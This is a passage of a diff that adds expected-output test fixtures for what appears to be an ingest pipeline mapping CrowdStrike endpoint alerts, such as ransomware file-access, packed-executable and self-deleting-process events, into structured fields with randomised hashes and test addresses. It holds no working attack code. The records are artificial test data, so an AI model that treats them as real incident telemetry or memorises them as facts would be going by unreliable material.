+                "serial_number": "f5f8341524ed1dd257646890be631aee",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "executable": "\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe",
+                "name": "48fd8e96.exe"
+            },
+            "related": {
+                "hash": [
+                    "ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78",
+                    "30820000"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3440491101",
+                "ContextProcessId": "8080063970217",
+                "ContextTimeStamp": "2025-07-05T12:34:55.992Z",
+                "DesiredAccess": "5900",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "ExtendedKeyUsages": "1",
+                "FileSigningTime": "1601400887.000",
+                "HandleCreated": "0",
+                "Object1Type": "81030550010000800400",
+                "PublicKeys": "0",
+                "SHA256HashData": "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5",
+                "SignInfoFlags": "932000",
+                "Status": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4",
+                "name": "891d960d630f07080d2bbd00503c6ca04d9007b20af"
+            },
+            "device": {
+                "id": "6b6c287c6e8ce2041ce47a740e621689"
+            },
+            "event": {
+                "action": "PrivilegedProcessHandleFromUnsignedModule",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4|6b6c287c6e8ce2041ce47a740e621689|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"ContextThreadId\":\"266500049070090\",\"aip\":\"89.160.20.112\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"9c458f0ddfe1293cd356445b2c473d0a0ef4\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"PrivilegedProcessHandleFromUnsignedModule\",\"ContextTimeStamp\":\"1751718895.992\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"8080063970217\",\"SHA256HashData\":\"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5\",\"ExtendedKeyUsages\":\"1\",\"FileSigningTime\":\"1601400887.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Object1Name\":\"\",\"TargetProcessId\":\"3542590006570\",\"DesiredAccess\":\"5900\",\"ImageFileName\":\"\\\\6ba0bd\\\\a37a4d54\\\\9134161b\\\\1fcd147a\\\\c3356034\\\\158.exe\",\"Entitlements\":\"86\",\"name\":\"891d960d630f07080d2bbd00503c6ca04d9007b20af\",\"aid\":\"6b6c287c6e8ce2041ce47a740e621689\",\"SignInfoFlags\":\"932000\",\"Object1Type\":\"81030550010000800400\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "host": {
+                "id": "6b6c287c6e8ce2041ce47a740e621689",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "PrivilegedProcessHandleFromUnsignedModule",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "6b6c287c6e8ce2041ce47a740e621689",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3542590006570",
+                "executable": "\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe",
+                "hash": {
+                    "sha256": "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5"
+                },
+                "name": "158.exe",
+                "thread": {
+                    "id": 266500049070090
+                }
+            },
+            "related": {
+                "hash": [
+                    "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5",
+                    "3440491101"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "550603001",
+                "ContextProcessId": "2492243565020",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "1",
+                "FileSubType": "4",
+                "SHA256HashData": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "17ef479f49727073c1afd6d8d3ede95a561e",
+                "name": "deb18e9d761c09c713b0634dc553304"
+            },
+            "device": {
+                "id": "2aff58e38d0a0bf09e91cfee7bcb819e"
+            },
+            "event": {
+                "action": "ProcessExecOnPackedExecutable",
+                "category": [
+                    "process",
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "17ef479f49727073c1afd6d8d3ede95a561e|2aff58e38d0a0bf09e91cfee7bcb819e|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"ProcessExecOnPackedExecutable\",\"ConfigStateHash\":\"550603001\",\"ContextProcessId\":\"2492243565020\",\"aip\":\"89.160.20.112\",\"FileSubType\":\"4\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"1080047380010\",\"Entitlements\":\"96\",\"name\":\"deb18e9d761c09c713b0634dc553304\",\"EventOrigin\":\"1\",\"id\":\"17ef479f49727073c1afd6d8d3ede95a561e\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"2aff58e38d0a0bf09e91cfee7bcb819e\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "host": {
+                "id": "2aff58e38d0a0bf09e91cfee7bcb819e",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ProcessExecOnPackedExecutable",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "2aff58e38d0a0bf09e91cfee7bcb819e",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "process": {
+                "entity_id": "1080047380010",
+                "hash": {
+                    "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d"
+                }
+            },
+            "related": {
+                "hash": [
+                    "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d",
+                    "550603001"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "30409004030",
+                "ClientComputerName": "1a241b813c0288",
+                "ConfigStateHash": "3030480009",
+                "ContextProcessId": "2002000091665",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "36",
+                "EventOrigin": "1",
+                "PatternId": "459",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "0b8735c9a332451c9040cce79b716849ed11",
+                "name": "8f744680ad930347c854bf"
+            },
+            "destination": {
+                "address": "81.2.69.144",
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144"
+            },
+            "device": {
+                "id": "b956f48020b41a099bfc062444b8ea38"
+            },
+            "event": {
+                "action": "ProcessExecOnSMBFile",
+                "category": [
+                    "process",
+                    "file",
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "0b8735c9a332451c9040cce79b716849ed11|b956f48020b41a099bfc062444b8ea38|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"ProcessExecOnSMBFile\",\"UserName\":\"601f56394305\",\"ConfigStateHash\":\"3030480009\",\"ContextProcessId\":\"2002000091665\",\"aip\":\"89.160.20.112\",\"LogonDomain\":\"6e\",\"AuthenticationId\":\"30409004030\",\"UserPrincipal\":\"testuser@test.com\",\"UserSid\":\"S-70019-66419-130-71535-26067-98292-95578\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"PatternId\":\"459\",\"ClientComputerName\":\"1a241b813c0288\",\"Entitlements\":\"36\",\"name\":\"8f744680ad930347c854bf\",\"EventOrigin\":\"1\",\"id\":\"0b8735c9a332451c9040cce79b716849ed11\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"b956f48020b41a099bfc062444b8ea38\",\"RemoteAddressIP4\":\"81.2.69.144\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "host": {
+                "domain": "6e",
+                "id": "b956f48020b41a099bfc062444b8ea38",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ProcessExecOnSMBFile",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "b956f48020b41a099bfc062444b8ea38",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "2002000091665"
+            },
+            "related": {
+                "hash": [
+                    "3030480009"
+                ],
+                "hosts": [
+                    "1a241b813c0288"
+                ],
+                "ip": [
+                    "89.160.20.112",
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "601f56394305",
+                    "testuser",
+                    "testuser@test.com",
+                    "S-70019-66419-130-71535-26067-98292-95578"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "test.com",
+                "email": "testuser@test.com",
+                "full_name": "testuser",
+                "id": "S-70019-66419-130-71535-26067-98292-95578",
+                "name": "601f56394305"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "AuthenticodeHashData": "98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4",
+                "ConfigStateHash": "710307050",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "46",
+                "EventOrigin": "1",
+                "ImageSubsystem": "2",
+                "IntegrityLevel": "90902",
+                "MD5HashData": "9fd1131ff976c9a3212a1db685870aa1",
+                "ParentAuthenticationId": "830",
+                "ProcessCreateFlags": "4",
+                "ProcessParameterFlags": "41103",
+                "ProcessSxsFlags": "26",
+                "SHA1HashData": "9692067083780606753097782045800757094700",
+                "SHA256HashData": "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331",
+                "SessionId": "0",
+                "SignInfoFlags": "932000",
+                "SourceProcessId": "8000051703140",
+                "SourceThreadId": "400901163020000",
+                "Tags": [
+                    "982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2"
+                ],
+                "TokenType": "1",
+                "WindowFlags": "274",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "36f0bb29be278fc8322806730ffa12e53207",
+                "name": "f9ba95e9061aae4be"
+            },
+            "device": {
+                "id": "40b756af7c1d76ef66cb380d94090915"
+            },
+            "event": {
+                "action": "ProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "36f0bb29be278fc8322806730ffa12e53207|40b756af7c1d76ef66cb380d94090915|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ProcessCreateFlags\":\"4\",\"IntegrityLevel\":\"90902\",\"ParentProcessId\":\"3000051703140\",\"SourceProcessId\":\"8000051703140\",\"aip\":\"81.2.69.142\",\"SHA1HashData\":\"9692067083780606753097782045800757094700\",\"UserSid\":\"S-62374-88856-1334\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"ProcessEndTime\":\"\",\"AuthenticodeHashData\":\"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4\",\"ParentBaseFileName\":\"bce7ccba7d55464cc50\",\"EventOrigin\":\"1\",\"ImageSubsystem\":\"2\",\"id\":\"36f0bb29be278fc8322806730ffa12e53207\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"0\",\"Tags\":\"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"10603\",\"ConfigStateHash\":\"710307050\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331\",\"ProcessSxsFlags\":\"26\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"WindowFlags\":\"274\",\"CommandLine\":\"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5\",\"ParentAuthenticationId\":\"830\",\"TargetProcessId\":\"8200110794047\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\5fd4a1cd\\\\d5a15842.exe\",\"SourceThreadId\":\"400901163020000\",\"Entitlements\":\"46\",\"name\":\"f9ba95e9061aae4be\",\"ProcessStartTime\":\"1745988595.443\",\"ProcessParameterFlags\":\"41103\",\"aid\":\"40b756af7c1d76ef66cb380d94090915\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "40b756af7c1d76ef66cb380d94090915",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ProcessRollup2",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "40b756af7c1d76ef66cb380d94090915",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "5f20a496dc8",
+                    "d43d1f330482ee8",
+                    "5699b4437440b65580e85c88f5cdca035e77",
+                    "-e6ec25fc0",
+                    "-ce",
+                    "f06d9af09b660129fc208a858ce75e59",
+                    "-63",
+                    "90907973f6",
+                    "-9de2",
+                    "e162e",
+                    "-af0975",
+                    "7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851",
+                    "-d89d7",
+                    "d97ed553ad5f4263d831dfb497ed48a295e01396",
+                    "-288",
+                    "5"
+                ],
+                "args_count": 16,
+                "command_line": "5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5",
+                "entity_id": "8200110794047",
+                "executable": "\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe",
+                "hash": {
+                    "md5": "9fd1131ff976c9a3212a1db685870aa1",
+                    "sha1": "9692067083780606753097782045800757094700",
+                    "sha256": "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331"
+                },
+                "name": "d5a15842.exe",
+                "parent": {
+                    "entity_id": "3000051703140",
+                    "name": "bce7ccba7d55464cc50"
+                },
+                "pid": 10603,
+                "start": "2025-04-30T04:49:55.443Z"
+            },
+            "related": {
+                "hash": [
+                    "9fd1131ff976c9a3212a1db685870aa1",
+                    "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331",
+                    "9692067083780606753097782045800757094700",
+                    "710307050"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "S-62374-88856-1334"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-62374-88856-1334"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "5080600092",
+                "ContextProcessId": "8008070284808",
+                "ContextTimeStamp": "2025-05-23T18:59:41.961Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "16",
+                "EventOrigin": "1",
+                "SHA256HashData": "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87",
+                "SourceProcessId": "8020239020790",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "37ea1966fb73e596eaceeeda74969e0cf6fe",
+                "name": "1a4daccccece9ef5ba96"
+            },
+            "device": {
+                "id": "4a13114d95ed726004929f3de3863e97"
+            },
+            "event": {
+                "action": "ProcessSelfDeleted",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "37ea1966fb73e596eaceeeda74969e0cf6fe|4a13114d95ed726004929f3de3863e97|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"ProcessSelfDeleted\",\"ContextTimeStamp\":\"1748026781.961\",\"ConfigStateHash\":\"5080600092\",\"ContextProcessId\":\"8008070284808\",\"SourceProcessId\":\"8020239020790\",\"aip\":\"81.2.69.144\",\"SHA256HashData\":\"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"5100718000400\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08ddb9f6\\\\0f51ad6\\\\8c31e\\\\d62f\\\\e\\\\ff53b0\\\\2b6\\\\38227bb0.exe\",\"Entitlements\":\"16\",\"name\":\"1a4daccccece9ef5ba96\",\"EventOrigin\":\"1\",\"id\":\"37ea1966fb73e596eaceeeda74969e0cf6fe\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"4a13114d95ed726004929f3de3863e97\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "file": {
+                "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1"
+            },
+            "host": {
+                "id": "4a13114d95ed726004929f3de3863e97",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ProcessSelfDeleted",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "4a13114d95ed726004929f3de3863e97",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "5100718000400",
+                "executable": "\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe",
+                "hash": {
+                    "sha256": "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87"
+                },
+                "name": "38227bb0.exe"
+            },
+            "related": {
+                "hash": [
+                    "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87",
+                    "5080600092"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ClientId": "81",
+                "ConfigStateHash": "7800020060",
+                "ContextProcessId": "1005300580270",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "36",
+                "EventOrigin": "1",
+                "PatternId": "684",
+                "SHA256HashData": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68",
+                "Tags": [
+                    "18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5"
+                ],
+                "TargetFileName": "\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "791f3434f4eb1f2494635bfa6c51a2855d12",
+                "name": "678e528c681bbe14db4667945d920"
+            },
+            "device": {
+                "id": "ce205ce972e1ec0b34c552d96f46397a"
+            },
+            "event": {
+                "action": "RansomwareFileAccessPattern",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "791f3434f4eb1f2494635bfa6c51a2855d12|ce205ce972e1ec0b34c552d96f46397a|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"RansomwareFileAccessPattern\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"1005300580270\",\"SourceFileName\":\"\\\\6ba0bd\\\\76648b42\\\\d598026\\\\b79c\\\\5c49f\\\\be379a3.rtf\",\"aip\":\"89.160.20.112\",\"SHA256HashData\":\"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"54d\\\\d598026\\\\4a6a0a4b\\\\a096c58f.exe\\\"\",\"PatternId\":\"684\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\a096c58f.exe\",\"Entitlements\":\"36\",\"name\":\"678e528c681bbe14db4667945d920\",\"EventOrigin\":\"1\",\"ClientId\":\"81\",\"id\":\"791f3434f4eb1f2494635bfa6c51a2855d12\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ce205ce972e1ec0b34c552d96f46397a\",\"Tags\":\"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\76648b42\\\\d598026\\\\c7bac469.NET\\\\c70281ee\\\\aca7.30319\\\\4820dd5a.sql\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f",
+                "extension": "rtf",
+                "hash": {
+                    "sha256": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68"
+                },
+                "name": "be379a3.rtf",
+                "path": "\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf",
+                "type": "file"
+            },
+            "host": {
+                "id": "ce205ce972e1ec0b34c552d96f46397a",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "RansomwareFileAccessPattern",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "ce205ce972e1ec0b34c552d96f46397a",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "54d\\d598026\\4a6a0a4b\\a096c58f.exe"
+                ],
+                "args_count": 1,
+                "command_line": "54d\\d598026\\4a6a0a4b\\a096c58f.exe\"",
+                "entity_id": "1005300580270",
+                "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe",
+                "name": "a096c58f.exe"
+            },
+            "related": {
+                "hash": [
+                    "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68",
+                    "7800020060"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "BoundingLimitCount": 1,
+                "BoundingLimitDuration": "5486640",
+                "ConfigStateHash": "9250777000",
+                "ContextProcessId": "7701685113510",
+                "ContextTimeStamp": "2025-06-27T12:57:00.082Z",
+                "DesiredAccess": "5750008",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "26",
+                "EventOrigin": "1",
+                "FileAttributes": "0",
+                "FileObject": "0",
+                "Information": "1",
+                "IrpFlags": "2500",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "Options": "90328446",
+                "ShareAccess": "7",
+                "Status": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "13e038874f0490733a5191031434b8657382",
+                "name": "4c8f7117e5d227bf9ddc"
+            },
+            "device": {
+                "id": "ea08505420aa828a0a52a6eed3c8a196"
+            },
+            "event": {
+                "action": "RansomwareOpenFile",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "13e038874f0490733a5191031434b8657382|ea08505420aa828a0a52a6eed3c8a196|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"Options\":\"90328446\",\"ContextThreadId\":\"344002022970675\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"1\",\"Information\":\"1\",\"FileIdentifier\":\"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612\",\"event_platform\":\"Win\",\"ShareAccess\":\"7\",\"EventOrigin\":\"1\",\"id\":\"13e038874f0490733a5191031434b8657382\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"RansomwareOpenFile\",\"ContextTimeStamp\":\"1751029020.082\",\"ConfigStateHash\":\"9250777000\",\"ContextProcessId\":\"7701685113510\",\"IrpFlags\":\"2500\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5750008\",\"BoundingLimitDuration\":\"5486640\",\"Entitlements\":\"26\",\"name\":\"4c8f7117e5d227bf9ddc\",\"OperationFlags\":\"0\",\"aid\":\"ea08505420aa828a0a52a6eed3c8a196\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\4e7075fa.key\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25",
+                "extension": "key",
+                "inode": "4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612",
+                "name": "4e7075fa.key",
+                "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key",
+                "type": "file"
+            },
+            "host": {
+                "id": "ea08505420aa828a0a52a6eed3c8a196",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "RansomwareOpenFile",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
